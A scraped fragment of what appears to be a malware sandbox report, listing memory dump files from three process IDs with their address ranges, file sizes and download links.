memory/1628-80-0x000000001C810000-0x000000001CB13000-memory.dmp

Filesize
3.0MB

Download
memory/1628-82-0x0000000000880000-0x0000000000895000-memory.dmp

Filesize
84KB

Download
memory/1628-79-0x0000000000400000-0x000000000042F000-memory.dmp

Filesize
188KB

Download
memory/1628-78-0x0000000000400000-0x000000000069B000-memory.dmp

Filesize
2.6MB

Download
memory/1628-72-0x00000000000D0000-0x00000000001D0000-memory.dmp

Filesize
1024KB

Download
memory/1684-63-0x0000000000670000-0x0000000000671000-memory.dmp

Filesize
4KB

Download
memory/1760-88-0x0000000000980000-0x0000000000A14000-memory.dmp

Filesize
592KB

Download
memory/1760-87-0x0000000002030000-0x0000000002333000-memory.dmp

Filesize
3.0MB

Download
memory/1760-86-0x0000000000090000-0x00000000000BF000-memory.dmp

Filesize
188KB

Download
memory/1760-85-0x00000000003D0000-0x00000000003DE000-memory.dmp

Filesize
56KB

Download